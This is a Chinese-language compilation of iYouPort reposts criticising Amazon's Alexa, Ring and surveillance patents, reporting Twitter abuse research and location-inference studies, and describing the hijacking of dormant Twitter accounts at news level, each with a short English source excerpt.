这里的问题并不在于“访问权”GDPR 条款，真正的问题是：所谓的“智能”互联网连接设备会定期录制并不断上传您日常生活的所有细节，有时候，这些录音最终会落入坏人之手。

正如 Bleich 所指出的，如果亚马逊在一定时间内删除了 Echo 设备收集的数据，那么情况本有可能避免。但是，该公司无限期地保留所有数据，并通过声称 Alexa 需要不断地从数据中“学习”以便为用户提供服务来顽固地保存数据。

这并不是第一次 Alexa 收集的语音数据被意外地泄漏到了错误的地方。今年早些时候，一对夫妇之间的谈话被意外地发送给了随机的联系人。据报道，这个错误是由 Echo 错误地听到了激活词 “Alexa” 引起的。正如 Wired 描述的那样，“Echo 等同于对接拨号”。

想想看，你洗澡的声音、做爱的声音、拉屎的声音…… 都一直在被监

听，你还想花钱邀请这位斯塔西进入你的家吗？

该公司上周表示：超过1亿台 Alexa 设备已经售出。您现在知道有多少受害者了？

Amazon Sent 1,700 Alexa Recordings to the Wrong Person: Home assistants are continuously recording and constantly uploading details of your everyday life, and sometimes, these recordings can end up in the wrong hands.

原文

亚马逊希望出售"监控即服务" - iYouPort

关于亚马逊、苹果、推特

这个该死的“即服务”句式，如今至少是诚实了一次

「图」

「图」

亚马逊可能还在纠结自己的监控功能不够广泛，尽管有其 Echo、Ring 和 Key 产品的广泛使用，更不用说亚马逊每时每刻都在收集客户的所有数据了；但显然该公司仍觉不够。

亚马逊最近获得了美国专利，提供“监控即服务”。

该专利是针对“无人驾驶飞行器”—无人机的技术术语—“可以在授权方的财产上执行监视行动”，并且可以“对监视目标进行成像以生成监视图像”。

亚马逊在2015年6月12日提交并于今年6月4日被授权的专利中表示：基于无人机的监控将优于传统的视频摄像机，后者范围有限、容易遗漏、容易被操纵或被入侵者破坏。

1 来自亚马逊的“监控即服务”专利的图片。

基于无人机的监控对于亚马逊来说是合乎逻辑的下一步，亚马逊已经在这个方程式的两端都投入了大量资金。

延伸：关于无人机监视的分析《天空中的眼睛》。

自2013年以来，该公司一直在谈论使用无人机投寄包裹，那时起就引起物流巨头联邦快递的巨大兴趣。

而如今，亚马逊的计划对其竞争对手来说可能看起来不那么有趣了。

亚马逊全球消费者业务首席执行官 Jeff Wilke 在6月初曾表示，该公

司可能会在未来几个月内开始使用其 Prime Air 无人机向客户提供套餐。

亚马逊最近的专利表示，在包裹交付后，监控将是这种无人机系统的“第二重要任务”。

该公司建议用户“订阅监控系统以提供监控即服务”，这是对已建立的所谓“软件即服务”的一种即兴表达。

在这里看到为什么“即服务”句式如此荒谬《地主2.0：科技的新食利资本主义》；《你所有昂贵的电子设备事实上全都是租来的》。

2018年2月，亚马逊向 Ring 支付了超过10亿美元，这是一个“智能门铃”的制造商，它发送视频信息，客户可以通过他们的智能手机查看和响应。

在这里看到为什么它如此危险《亚马逊帮助警方构建了一个广泛的监控网络》。

在该交易发布三个月后，亚马逊推出了 Neighbors，这是一个鼓励群众斗群众的社交网络，让用户直接从他们的 Ring 监视摄像头上传视频，并使用“犯罪”、“安全”和“可疑”等标签标记帖子。

美国50多个当地警察部门与 Ring 合作，以获取其所有者的监视镜头。

亚马逊还提供 Amazon Key，这项服务让 Prime 会员可以将包裹直接送到家中 —— 需要他们在家门口安装智能锁，并在家中安装亚马逊监视摄像头。

破折号后面是重点。

同时，根据投资公司 Cowen 的调查数据，截至2018年第四季度，亚马逊的 Echo 和语音个人助理 Alexa 估计已经覆盖美国家庭的24%。

今年4月，彭博报道亚马逊工作人员正在远程监听其 Echo 设备捕获的录音，详细《美国的斯塔西在乌克兰》。

Alexa 的监听能力非常强大，华盛顿大学的一组研究人员开发了一种工具，据报道可以通过呼吸声听到人类心脏病发作的迹象。

简单说，它什么都能听到，它是斯塔西的现代版本。〇

Amazon wants to sell “surveillance as a service”

原文

亚马逊帮助警方构建了一个广泛的监控网络 - iYouPort

关于亚马逊、苹果、推特无处不在，无处可逃-所谓的“智能”是什么

如果有人免费送你或大幅优惠给你一个监视器，你愿意帮助警察构建广泛的监视网络吗？

这种诱导式的助纣的确值得警惕。想想看，这个东西很贵你买不起 + 此前你被宣传称安装这种东西代表“安全的现代化生活”你很羡慕，这种时候有人要白送你一个……谁会拒绝呢？

俗话说得好，天下只有老鼠夹子上的奶酪是免费的。

「图」

「图」

如果你在新泽西州的布卢姆菲尔德（Bloomfield）散步，千万要小心，因为你很有可能被偷拍监视。但不是公司办公室或仓库安全摄像头的捕捉镜头 —— 而是亚马逊制造的Ring门铃。

虽然住宅区通常没有安全摄像头，但智能门铃的受欢迎程度基本上创造了由亚马逊提供支持并由警察部门推动的大型私人监控网络。

全国各地的警察部门，从休斯顿等主要城市到人口不到30,000人的小城镇，都向公民提供免费或打折的 **Ring** 门铃，有时使用纳税人的资金来支付亚马逊的产品。

虽然理论上 Ring 所有者应该可以选择是否将视频提供给警察，但是，在某些赠品的条款中，警察要求保持在任何时候翻看镜头的权力。

Ring 说它将开始打击附带条件。

“客户应该可以控制他们的视频。Ring 已经向 Neighbor 的执法合作

伙伴捐赠了设备，供他们向社区成员提供，“Ring 在一份声明中说，“Ring 不支持要求接收者提供录像的程式，也不支持共享来自 Ring 设备的镜头作为捐赠设备的条件。我们正积极与合作伙伴合作，以确保这反映在他们的程式中。”

但是你信吗？鉴于亚马逊如此专注于向警方推荐他们的产品，他们会帮你阻止警方的使用方式？

虽然街区的监控录像可以帮助警方调查犯罪事件，但亚马逊Ring业务运营的摄像机数量庞大，引发了涉及执法和科技巨头的双重隐私问题。

你可能会认为亚马逊是一个获得廉价优惠的地方，但批评者已经指出，这家零售巨头为警方提供面部识别工具。

这些摄像机可以让多方面受益：警方可以收集更多的视频，而亚马逊可以为新的 Ring 拥有者收取高达每月3美元的智能门铃用户费。与此同时，居民可以放心，特别是 Neighbors 应用程序，本质上是一个社交网络共享摄像头。

“我们这片社区现在完全被监视相机覆盖，“布卢姆菲尔德警察局侦探局指挥官 Vincent Kerney 上尉说，”我们管辖区内的每个城镇都有许多 Ring 摄像机”。

布卢姆菲尔德的警察部门没有收到任何来自 Ring 的免费摄像头，但这个摄像头已经在大约5万人的镇上流行。

在过去的两年里，美国有超过**50**个当地警察部门与**Ring**合作，称赞亚马逊拥有的产品如何允许他们访问通常没有摄像头的区域的监视视频。

「图」

「图」

A heat map of Bloomfield showing that Ring cameras are everywhere in the New Jersey town. The closer it is to red, the more cameras there are.

隐私倡导者指出，这种伙伴关系给执法部门提供了前所未有的监视能力。

“我们在这里拥有的是执法部门和世界上最大的公司之一的完美结合，为一个很少有人愿意参与的监视社会创造参与条件，”南加州 ACLU 的律师 Mohammad Tajsar 说。

Ring 还在博客文章中提到了它如何处理与警方合作关系的隐私问题。

该公司称：“我们的客户和 Neighbors 应用程序用户信任我们，以帮助保护他们的家园和社区，我们非常认真地承担这一责任”。

Neighbors 如何工作

亚马逊在2018年以10亿美元的价格收购了Ring，而智能门铃和安全摄像头的制造商帮助扩大了该零售巨头的智能家居业务推广。

这种情况发生在消费者对新连网设备的兴趣激增之际，从灯泡、到电视、到安全摄像头。

不止亚马逊，像谷歌这样的公司更热衷于此，2014年谷歌以32亿美元收购 Nest，一个为家庭提供安全摄像头的公司。 Strategy Analytics 预计**2018**年会售出"超过340万个可视门铃"。

在被亚马逊收购之前，Ring 一直在追求当地警察部门的垂青。

警方最感兴趣的是 Ring 的 Neighbors 应用程序，免费下载的，人们可以在这里分享、查看和评论他们附近的犯罪信息，以及上传来自 Ring门铃的视频剪辑。然后警方鼓励公众购买 Ring。

“我们鼓励 Mountain Brook 的居民购买这种类型的技术，并与应用程序一起使用，”阿拉巴马州 Mountain Brook 警察局局长 Ted Cook 说，“我们认为它正在努力创造一种数字邻里观察”。

不是观察，是圆形监狱。

当警察与 Ring 合作时，他们可以访问执法仪表板，在那里他们可以对地区进行地理围栏定位或寻求在特定时间内拍摄的镜头。如果居民选择发送视频，执法部门只需要从应用程序中就能获取镜头。否则，警察需要传唤Ring。

警方表示，该应用程序帮助他们解决了犯罪问题，因为居民通常会记录窃贼的镜头，或者录制下经过附近的可疑汽车。

「图」

「图」

The Neighbors app allows people to post videos and crime alerts. Police can request Ring footage through this app.

人们甚至认为该计划为警方提供了方便，于是能“获得更多安全”。

约翰杰伊刑事司法学院副教授 Eric Piza 说：“投资 Ring 的人显然关心自己的安全和财产。”

但是，尽管有各种好处，警察部门和Ring之间的关系无疑引起了人们对监控和隐私的担忧，因为亚马逊正在与执法机构合作，用监视器覆盖社区。

Ring 有自己的隐私问题。去年12月的报道揭露，乌克兰的工作人员在没有客户知情的情况下在公共应用上观看私密的监控视频。在这里看到《美国的斯塔西在乌克兰》。

该公司在报告发表后向 TechCrunch 发表声明称，“我们非常重视客户个人信息的隐私和安全。”

电子前沿基金会的高级调查研究员 Dave Maass 说：“从本质上讲，我们正在创造一种文化，每个人都是用双筒望远镜望着窗外的爱管闲事的邻居。”

“它创造了这一巨大的数据库，使政府能够分析我们的一举一动，无论是否犯下了罪行。”

无处不在

在布卢姆菲尔德的热图上，新泽西城镇几乎没有任何区域看不到Ring相机。

Kerney 说，智能门铃已经在社区中非常流行，并且与Ring合作执法仪表板是有意义的。

从Ring进入城镇之前该镇的监控录像数量已经大幅增加可供布卢姆菲尔德警察局使用。

Kerney 说他在2017年开始了志愿监视登记。任何有安全摄像头的地方都可以报名并向警方提供录像。

Kerney回忆说，大约有442个登记的地方。主要是企业，因为许多私人住宅当时没有安全摄像头。但与 Ring 相比，私人和企业的比例正好相反。

他说："Ring 摄像机的安装数量可能是其他任何东西的10倍。"

大规模安装令 **Ring** 和 **Google** 的 **Nest** 等受欢迎的产品制造了一个监控系统。它们不仅仅适用于企业：到**2023**年，智能家居安防摄像机的市场预计将"超过97亿美元"。

警察部门正在 Ring 构建的监视网络上建立他们自己的监控网络。

在弗吉尼亚州的汉普顿，警方在3月与该公司合作后收到了15台免费的Ring摄像机。警察部门仍然在弄清楚他们要将这些摄像机分配给哪些社区。

汉普顿警方公共信息官 Ashley Jenrette 表示，部分原因包括与犯罪分析部门合作，确定哪些街区最需要使用这些摄像机。

付出代价

Ring可帮助警方避免出现监控技术的障碍，无论是缺乏资金还是公众对隐私的担忧。

EFF 的 Maass 说，"我们有理由推动要求警察部门在获得任何监控技术之前获得市议会批准的条例。"

多个城市都有法律要求公共程序来讨论警察如何使用和购买监控技术。社区活动家也一直在努力反击面部识别和自动车牌阅读器等工具。

但是，当警察和亚马逊说服私人居民购买这些相机时，它基本上绕过了整个公民监督过程，同时省了不少钱。Ring 摄像机的价格在99美元到500美元之间。

"我们在全市都没有安装监视摄像头，从本质上讲，Ring 具有在全市范围内创建监视技术的能力。我们呼吁公民参与、自己购买"，Cook 说。

一些警察部门做的可不仅仅是呼吁。

印第安纳州、新泽西州、加利福尼亚州和其他州的警察已经为Ring相

机提供折扣，有时高达125美元。在某些情况下，这些折扣来自纳税人的钱。

“简单说就是，公众在财政上补贴了在他们的社区中侵犯他们自己隐私的东西，”Tajsar 说。

今年4月，印第安纳州哈蒙德市宣布有37,500美元的资金来补贴 Ring 设备 —— 其中一半来自 Ring。哈蒙德警方公共信息官 Steve Kellogg 说，其他18,750美元来自该市纳税人。

这个城市有500台摄像机，大约一周后，它们全部售罄。Kellogg 表示，市政府推出了更多的优惠计划，在该市推出了600多台 Ring 摄像机。

“街上会有更多的摄像头，这真是一个明智的选择。”

其他城市将提供赠品，无论是抽奖赠品还是作为提供犯罪线索的奖励，如南加州城市 El Monte 所做的那样。

「图」

「图」

Police across the country have been giving away Ring doorbells or subsidizing them at a heavy discount.

虽然理论上警察要想获得镜头需要被许可，但休斯顿的赠品条件可以确保执法部门能够获得所需的任何视频。休斯敦警方在去年三月的赠品帖中写道，获奖者会同意让休斯顿警方在要求时使用相机。

“这种模式是最令人不安的，这基本上是把人们的家用作了执法的监视前哨，”Tajsar 说。

休斯顿警方没有回应评论请求。 Ring 表示，它不支持这种模式，并且它正在向警察合作伙伴商谈，以确保这不是Ring赠品的要求。

在多个城市里，每20个注册该应用的人就会捐赠一台Ring相机。这就是为什么一些警察部门一直在推动更多居民去注册。

警方推广监视相机也有助于亚马逊的利润。即使**Ring**正在免费提供相机或提供补贴，它也很快就能获得投资回报。

您不被强迫成为Ring会员，但这是您可以存储从摄像机录制的镜头的唯一方法。最便宜的计划起价为每月3美元。

即使亚马逊向哈蒙德的补贴计划捐赠了价值18,750美元，它也可以在不到一年的时间里通过600个新的会员来弥补所有这一切。

“随着警务变得更加以技术为导向，我们将这一新的警察问题视为商业企业的利益，”Piza 说。

结合技术

Kerney 说，尽管布卢姆菲尔德充满了Ring摄像机，但人们可能没有为警察提供大量监视视频。

侦探局指挥官说，他在过去两周内发出了大约10项请求，涉及盗窃等案件，但大多数都没有得到答复。

当 Neighbors 应用程序中的人没有响应时，警察就会走上街头，开始敲门，要求亲自获取拍摄镜头。

他说，当官员到他们家门口询问Ring监视视频时，人们会更加合作。民间倡导者认为，人们并没有真正的选择。

“当你看到一个警察在你旁边开车的时候，你会改变你开车的方式。如果警察出现在你家门口并要求你做什么怎么办？”Tajsar 说，“即使你是最明确的公民自由主义者，你也会感到正在被迫将这些镜头交出来。”

而 Ring 并不仅限于亚马逊自己的技术，更多精通技术的警察部门也发现了这一点。

去年12月，当 Ring 正考虑对门铃相机加入面部识别技术时，它面临强烈的反对，警方能够使用他们自己的算法利用居民提供的镜头。

根据Ring摄像机的设置方式，它可以捕捉街道上的任何运动，比如经过的汽车。 Kellogg 指出，Hammond 有自动车牌阅读器，可以使用Ring相机的镜头来追踪车辆。

他补充说，警方可以输入在Ring镜头中捕获的汽车的详细信息，在车牌阅读器系统中搜索，并找出汽车的所有者和地址。

居民可能不会意识到这一点。 Ring视频的请求通常出现在 Neighbors

应用程序中，只是询问与报告事件相关的证据，没有关于剪辑将用于什么的详细信息。

“如果公众要与警方分享这段视频，他们至少需要知道它将被用于干什么，”Maass 说。

Amazon’s helping police build a surveillance network with Ring doorbells

Its popular Ring smart doorbells mean more cameras on more doorsteps, where surveillance footage used to be rare.

原文

亚马逊确认，即使您删除音频文件，它也会保留Alexa数据 - iYouPort

关于亚马逊、苹果、推特

无底线的剥削和欺诈，这就是亚马逊所谓的 “行业标准做法” —— 监视资本主义的本性

「图」

「图」

亚马逊已经承认，即使用户选择擦除其帐户中的音频文件，亚马逊也不会删除用户与该公司的 Alexa 和 Echo 设备进行语音交互而产生的存储数据。

亚马逊在给参议员 Chris Coons（D-DE）的一封信中明确概述了这点，进一步揭示了该公司关于其所谓的数字语音助手的隐私惯例。

该回复是对 Coons 要求的后续行动，当时 Coons 质疑该公司究竟保留了 Echo 互动的语音记录和抄本多长时间。

这封信中亚马逊证实了一些指控。信中写道：“我们保留客户的录音和文字副本，直到客户选择删除它们。”

但在CNET调查之后，还有一个问题是：即使用户选择删除了该音频，亚马逊是否仍保留与 Alexa 进行语音交互的文字记录。

亚马逊表示，确实没有删除其中一些文字记录或从文字记录中收集的信息，这是因为该公司 “不得不” 从其全球数据存储系统的各个部分中清理数据，于是在某些情况下，亚马逊选择保留该数据而不告诉用户。

亚马逊公共政策副总裁布莱恩·侯赛曼（Brian Huseman）在回应中表示，该公司正在 “持续努力，以确保这些文字记录不会留在 Alexa 的其他存储系统中。”

换句话说，即使用户手动删除了音频版本，某些文本版本仍会在未知长度的时间段内继续保存在单独的存储系统中。

甚至，在某些情况下，亚马逊认为删除数据会阻碍 Alexa 的功能，因此该公司决定保留某些版本的数据。

亚马逊声称它不会保留音频文件，但是例如，如果有人使用 Alexa 打电话给Uber或下订单，它将保留交易信息。

“我们不存储Alexa回应的声音。但是，我们可能仍会保留客户与Alexa互动的记录，包括Alexa为响应客户要求而采取的行动的记录”，Huseman 写道。

这封信还指出，该公司甚至连 Alexa 技能的开发人员都可以记录用户使用 Echo 设备进行的每笔交易或日常活动。

亚马逊表示，“这是为确保该任务易于重复且对用户方便”。—— 又是“方便”。

- “方便” 究竟是一种什么样的深渊？《便利的暴政》

彭博社的一份报告中概述了 Alexa 的内部工作方式，这已经引起了人们的极大关注 —— 其中数千人是合同工，有些甚至不是亚马逊直接雇用的人，他们都可以使用这些语音和文本数据，这些数据可以用于整理有关用户个人生活的全部图景。

- 在这里看到《集体监听》

但是，由于缺乏关于亚马逊如何收集和存储这些数据的方式、以及到何种目的使用数据的清晰性、还有为什么难以从公司的服务器上彻底清除这些数据的困惑，这使人们重新审视了亚马逊所谓的 “行业标准做法”，这些做法对于构建AI-依赖的工具和服务。

风险越来越高，因为 Alexa 现在可以处理敏感度最高的患者健康信息。

- 为什么健康数据最值钱《Google买下了Fitbit，这对您的数据隐私意味着什么？》

亚马逊还受到儿童隐私权保护组织的抨击，该公司被批评通过使用其 Amazon Echo Dot Kids 设备收集和存储13岁以下儿童的数据，违反了《儿童在线隐私保护法》（COPPA）。

Coon 在一份声明中说："亚马逊的回应使我们了解到，即使用户删除了他或她的声音录音，也不会从所有亚马逊服务器上删除与Alexa的交互记录。公民应该了解科技公司如何使用他们的个人数据，我将继续与消费者和公司合作，以确定如何最好地保护公民的个人信息。"

您知道中国小米的语音助手如何使用您的数据吗？您能记得自己都和该窃听器说过什么吗？您所在的国家是否有完善隐私保护法？公民权利组织是否有成熟的反抗行动和维权措施？如果答案是否定的，那么为什么要花钱邀请这种东西进入您最私密的空间？更多相见栏目"智能[间谍]家居/城市"。〇

Amazon confirms it holds on to Alexa data even if you delete audio files

原文

众包的推特研究揭示了在线虐待令人震惊的规模 - iYouPort

关于亚马逊、苹果、推特

来自150个国家的 6500 多名志愿者报名参加了 Troll Patrol，这是一个独特的众包项目，旨在处理有关在线虐待的大规模数据。志愿者对在2017年向英国和美国的 778 名女性政治家和记者发送的 288,000 条推文进行了分析。

大赦国际和 Element AI 使用先进的数据科学和机器学习技术来推断女性在 Twitter上面临的虐待规模。Element AI 计算出 trolls 全年向女性发送了110万份攻击性推文—平均每30秒发送一次。

Trolls 国际战术研究高级顾问 Milena Marin 表示，trolls 的大规模出没意味着我们已经有数据支持可以证实，推特是一个让种族主义、厌女症和同性恋恐惧症基本无法控制的地方。

“我们发现，虽然攻击虐待是针对政治范围内的女性，但有色人种更容易受到影响，黑人女性已经成为重点目标。Twitter 没有有效打击这些弊端，这意味着它正在促成已经被边缘化的声音的沉默。“

“这项研究是大赦国际与 Element AI 之间长期合作关系的一部分。采取冷静的人工智能方法，我们做出长期承诺，致力于我们的技术专家和工具，使社会良好的行为者能够做他们最擅长的事，“研究总监 Julien Cornebise 说。

国际特赦组织一再要求 Twitter 发布有关其平台滥用程度和性质的数据，但到目前为止，该公司仍未能这样做。这隐藏了问题的严重程度，使得设计有效的解决方案变得更加困难。

- 关联：关于活动家和人权维护者如何自我保护两篇《当你手握真相：最基本的防护知识(1)》
- 《抵制在线攻击：不要被Trolling & Doxing 压垮 (2)》

Crowdsourced Twitter study reveals shocking scale of online abuse

against women: Element AI calculated that 1.1 million abusive or problematic tweets were sent to the women in the study across the year—or one every 30 seconds on average. Amnesty International has repeatedly asked Twitter to publish data regarding the scale and nature of abuse on their platform, but so far the company has failed to do so. This hides the extent of the problem and makes it difficult to design effective solutions.

原文

你知道‘贼’长什么样吗？ - iYouPort

关于亚马逊、苹果、推特无处不在，无处可逃-所谓的“智能”是什么

老大哥亚马逊又搞了一个专利，一种用门铃相机监控社区的方法。该专利申请于上周四在美国专利商标局网站上公布，它描述了相机网络如何与面部识别技术协同工作以识别人的方法，并做出相应的反应。

该应用程序描述了创建一个所谓的可疑人员数据库。当房主将某人标记为“未授权”时，这个人就会被添加到黑名单列表中。根据申请，其他未造访的人也可能被添加到数据库中。居民也可能提醒邻居有可疑人员的存在。

评论家们对广泛采用的面部识别技术的影响表示严重担忧。

美国公民自由联盟的技术和公民自由律师 Jacob Snow 说，“这项专利是亚马逊未来监视视野令人不安的路线图”。“人们有权在没有被观察和跟踪的情况下继续他们自己的日常生活。而且，无法保证门铃相机的分辨率非常好。”

今年夏天，ACLU 对该软件进行了测试，结果表明，它非常不准确地将一些国会议员视为了罪犯。亚马逊拒绝对此报道发表评论。该专利的发明人被列为亚马逊今年早些时候收购的 Ring 首席执行官 Jamie Siminoff 。

根据开发面部识别技术的 NEC 首席解决方案架构师 Matt Pruitt 的说法，亚马逊的算法将受益于该技术的大规模部署。⚠ 亚马逊相机会定期捕捉进入家中的所有人，使其能够测试并改善识别人物的能力。简单说就是，所有人都是老大哥的小白鼠。

An Amazon patent application sheds light on a way to monitor neighborhoods with a doorbell camera: “The patent is a roadmap for Amazon’s disturbing vision of surveillance in the future,” Jacob Snow, a technology and civil liberties attorney with the American Civil Liberties Union, “People have the right to go about their daily lives without being watched and tracked. And there’s no assurance the resolution of the doorbell camera is very good.”

原文

全裸上推 - iYouPort

关于亚马逊、苹果、推特

新算法工具在几分钟内自动预测您的居住地点，准确率超过90%

研究人员开发了一种算法工具，使用 Twitter 可以在几分钟内自动预测您的居住地点，准确率超过 90%。它还可以预测您的工作地点、您祈祷的位置、以及您可能希望保密的其他信息，例如，您是否经常光顾某个脱衣舞俱乐部或去过哪个康复中心。

这个名为 LPAuditor 的工具（Location Privacy Auditor 的简称）利用了研究人员称之为 Twitter “侵入性政策”的东西，它在2009年引入了一个位置标记推文的能力。多年来，任何选择使用对推文进行地理标记的用户，甚至只是广泛的位置如“纽约市”，也会自动提供精确的 GPS 坐标。

用户不会看到 Twitter 上显示的坐标，他们的追随者也看不到。但是 GPS 信息仍将包含在推文的元数据中，并可通过 Twitter 的 API 访问。

截至2015年4月，Twitter 并没有在其应用程序中更改此政策。虽然现在用户必须选择分享他们的确切位置—并且，根据 Twitter 发言人的说法，很少有人这样做；但是，人们在更新之前共享过的 GPS 数据至今仍可通过 API 获得。

研究人员开发了 LPAuditor 来分析这些有地理标记的推文，并推断出有关人们最敏感位置的详细信息。他们在一篇新的评审论文中概述了这一过程，该论文将在下个月的网络和分布式系统安全研讨会上发布。通过分析坐标簇以及推文上的时间戳，LPAuditor 能够窥探到成千上万人的生活、工作和度过私密时间的任何地方。

确实，用户始终可以选择是否对推文进行地理标记。但选择分享您在巴黎与选择分享您在巴黎的确切位置之间存在很大差异。然而，多年来，无论用户选择分享的位置如何，Twitter 都选择将他们的位置给

定一个 GPS 坐标。在 Twitter 的帮助部分中详细说明的细节对于那些不知道他们需要帮助的用户来说并没有多大用。

2016年11月，在 Twitter 改变其设置之后，Polakis 和研究人员们开始从公司的 API 中提取 Twitter 元数据。他们建立在之前的研究基础上，表明可以从带有地理标记的推文中推断私人信息，但是他们希望看看是否可以使用自动化在更大规模和更精确的情况下做到这点。

研究人员分析了来自约 87,000 名用户的大约 1500 万条地理标记推文。附在这些推文上的一些位置数据可能来自想要分享其确切位置的用户，例如博物馆或音乐场所。但也有很多用户只分享一个城市或一般社区，只是为了分享他们的 GPS 位置。

为了预测哪个坐标可能对应于用户的家，研究人员指示 LPAuditor 寻找人们花费最长时间在周末发推文的位置。这个想法是：在一周内，你可能会在早上、晚上和休息日以不可预测的方式发推文，但家是大多数人在周末度过大部分时间的地方。

在寻找工作地点时，他们做了相反的事，分析了工作日的推文模式。最后，该工具查找了一周内最常出现的时间范围，并确定在该时间范围内推文最多的位置很可能是该人的工作地点。

当然，如果一个用户在去看医生的时候发推文，那么有人可能会说他们并不那么担心隐私问题。但 Polakis 指出，“该位置可能会提供比用户想要说的更多的信息。”在一个案例中，研究人员发现一位用户正在从一个 GPS 坐标显示为某康复设施的位置发送关于医生的推文。“这比他们愿意透露的情况要敏感得多，”他说。

Polakis 表示，由于开发者仍然可以在 2015 年之前获得多年的数据，因此 Twitter 不再将 GPS 坐标附加到所有带地理标记的推文上这一事实是不够的。是的，其中一些信息现在可能已过时。人们搬家了、换了工作，但即使是过时的信息也可能对攻击者很有用，而其他敏感信息，例如一个人的性行为习惯，似乎不太可能改变。这项研究证明，不仅可以从位置数据推断出这种信息，而且机器几乎可以立即完成。

Polakis 说，目前，大多数人可以做的是删除他们今天的位置数据，并在将来分享之前再三思。

AN INTERNATIONAL GROUP of researchers has developed an algorithmic tool that uses Twitter to automatically predict exactly where you live in a matter of minutes, with more than 90 percent

accuracy. This study proves that not only is it possible to infer this kind of information from location data, but that a machine can do it almost instantly.

原文

劫持长眠者 - iYouPort

关于亚马逊、苹果、推特

黑客[sic]正在利用长达十年之久的漏洞瞄准和劫持长期不用的 Twitter 账户，以传播恐怖主义宣传材料。许多受影响的推特帐户似乎在最近几天或几周内被劫持—— 有些更早些—— 他们都是多年不活动的账户。

推特已经封锁了其中一些，但另一些仍在活动。最近劫持帐户现象重新抬头似乎是源于攻击者利用了 Twitter 的旧账户没有电子邮件确认这点漏洞。Twitter 从去年6月份开始规定创建新帐户要求使用电子邮件地址或电话号码确认帐户，但许多旧帐户仍然未经证实。

但是，虽然永远不会删除长期停用的 Twitter 帐户，但用于创建它们的电子邮件地址要么从未存在过，要么在很久以前就已过期。因此，通过创建用于最初注册 Twitter 帐户的电子邮件地址，可以轻易地劫持许多较旧的 Twitter 帐户。

“这个问题已经存在了一段时间，但没有人真正知道并利用它，”一位名叫 WauchulaGhost 的黑客和安全研究员说，他研究并捣毁了所谓的伊斯兰国的在线活动。

他测试的许多长期不用的帐户都没有创建注册用电子邮件。电子邮件地址被部分掩盖，但很容易分辨出 Twitter 帐户的电子邮件地址中有多少个字符。有些被劫持账户有数万粉丝。

Twitter 表示，它正试图找到一个解决方案。但推特也说，“以这种方式重用电子邮件地址不是 Twitter 或其他在线服务的新问题，就我们而言，我们的团队了解并正在努力寻找可以帮助保持 Twitter 帐户安全的解决方案。”

这不是 Twitter 一家的事：Facebook 过期的电子邮件注册帐户也被劫持。但研究人员表示，Twitter 应该承担劫持账户的责任。

Twitter 表示，自2015年8月以来，它已经删除了超过 100 万个用于宣传和共享内容的帐户—— 仅2018年上半年就有超过 205,000 个帐

户被删除。Twitter 知道它的问题。但是，由于其他公司都有过错，他们似乎也无法解决问题。

Hackers[sic] are using a decade-old flaw to target and hijack dormant Twitter accounts to spread terrorist propaganda, TechCrunch has learned. Twitter said it has removed over a million accounts for promoting and sharing content since August 2015—with more than 205,000 accounts during the first half of 2018 alone.

原文

即便面对强大的抗议，亚马逊仍在恶化 - iYouPort

关于亚马逊、苹果、推特

最近，来自亚马逊的一项专利申请公开了，针对人脸监控—— 就像 Rekognition，这是该公司正积极向警方和移民和海关执法部门推销的产品—— 与亚马逊今年早些时候购买的门铃相机公司 Ring 结合。

虽然细节是粗略的，但该应用程序描述了一个系统，警察可以使用该系统来匹配穿过这扇门的所有人的面部，对照他们认为“可疑”的人的照片数据库。同样，房主也可以将“可疑”人物的照片添加到系统中，然后门铃的面部识别程序将扫描通过他们家的任何人，以阻止黑名单上的脸。在任何一种情况下，如果匹配成功，该人的面部将自动发送到执法部门，警察可以在几分钟内到达。

作为前专利诉讼律师，我花了很多时间阅读专利。专利申请很少以如此噩梦般的细节来展示公司想要带来的世界。亚马逊梦想着一个危险的未来，其技术位于一个大规模分散监控网络的中心，使用安装在你家门铃上的摄像头对公众进行实时的面部识别。

美国公民自由联盟和其他民权组织一再警告说，人脸监视对公民自由和公民权利构成了前所未有的威胁，必须在公民自由和公民权利普及之前予以制止。歧视性政府监视的历史清楚地表明，面部监视将对政府已经针对的人造成不成比例的伤害—— 移民、有色人种和曾经被监禁的人。

尽管存在公民自由和种族公正的风险，但亚马逊选择忽视国会议员以及消费者提出的问题、无视民权组织及其员工和股东的呼吁。专利申请已经表明亚马逊完全没有计划终止该项目。

该公司预计还将针对其他生物识别技术，包括指纹、皮肤纹理分析、DNA、手掌静脉分析、虹膜识别，气味识别，甚至行为特征，如 打字节奏、步态和语音识别。

「图」

「图」

想象一下，如果这些门铃相机安装进入一个社区，只需走到朋友家附近，就会导致您的脸部、指纹或声音被标记为“可疑”，并在您不知情或未经您同意的情况下被送到政府数据库。随着亚马逊销售设备、操作服务器以及推动执法技术，该公司正在建立监控网络的所有部分，从政府一直延伸到我们家门口。

并且，不要指望亚马逊将跟踪技术限制在家门口。该专利申请还清楚地表明，任何音频/视频设备—例如亚马逊流行的 Echo 产品系列—都可以配备适当的生物识别监控功能。它证实了亚马逊希望能够随时随地跟踪每个人。而且显然很乐意将这些数据提供给政府。

该应用程序还削弱了亚马逊自己声称的面部监控产品的防御能力。该公司告诉公众，生物识别技术只应被执法部门用作辅助手段，而不是替代手段。但是，亚马逊的专利申请正在将技术推向自动化，从识别过程中消除人类判断，而是完全依赖于数据，如逮捕照片，这本身就是种族歧视性警务的记录。

亚马逊正在建立专制监视工具，倡导者、活动家、社区领袖、政治家和专家反复警告。它正在这样做，而不考虑执法、ICE 和其他采取暴力和种族歧视的政府机构如何利用该技术。现在是让亚马逊承担责任并停止追逐利润而牺牲安全和公民权利的时候了。

Amazon’s Disturbing Plan to Add Face Surveillance to Your Front Door: It’s time for Amazon to take responsibility and stop chasing profit at the expense of safety and civil rights.

原文

往死里 "坚称"：Twitter 的定指问题 - iyouport

关于亚马逊、苹果、推特

还记得吗？很多年前中文网络有一个似乎是讽刺性的流行语 "鉴定完毕"。我们不知道这句流行语的真实来源，但它所讽刺的现象，也许是一个值得思考的问题。

定指是推特的核心特征之一。但应该如此吗？

您有没发现，通过推特等社交媒体了解到的 “世界” 与真实世界之间可能有着很大的不同？我指的是对某一现象、动态/变故、趋势的非黑即白印象。或者，您有没发现，推特上的 “喷子” 们最擅长仅仅根据最多140字就将您的整个人格定性判断，判定你是 “傻逼” 或 “牛逼”？哪怕您的上一条推文就显示了完全不同的人格侧面 ……

这些状况可能是有原因的。

顺便说，我们认为所有社交媒体基本上都是如此，而不仅仅是推特。

